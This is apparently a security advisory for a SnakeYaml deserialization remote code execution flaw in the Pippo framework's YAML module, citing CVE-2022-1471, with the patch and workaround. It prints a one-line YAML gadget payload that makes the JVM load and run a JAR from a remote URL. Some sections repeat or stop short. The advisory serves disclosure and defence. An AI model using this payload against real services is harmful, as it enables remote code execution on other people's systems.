This vulnerability exists because SnakeYaml enables the loading of arbitrary object graphs. For example, the following payload will allow an attacker to cause the JVM to class load an external JAR file and instantiate an attacker controlled instance of the javax.script.ScriptEngineFactory
via the Java service loader.
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
Impact
Remote Code Execution Vulnerability when the
SnakeYamlEngine
ContentTypeEngine
is installed in an application. This is because the SnakeYaml deserializer by default allows for arbitrary deserialization of Java objects.This is due to CVE-2022-1471
Vulnerability
This vulnerability exists because SnakeYaml enables the loading of arbitrary object graphs. For example, the following payload will allow an attacker to cause the JVM to class load an external JAR file and instantiate an attacker controlled instance of the
javax.script.ScriptEngineFactory
via the Java service loader.The following code paths are vulnerable to this:
Patches
Resolved in this commit with the update of SnakeYaml to 2.0:
Workarounds
Remove the
ro.pippo:pippo-snakeyaml
module from your application.References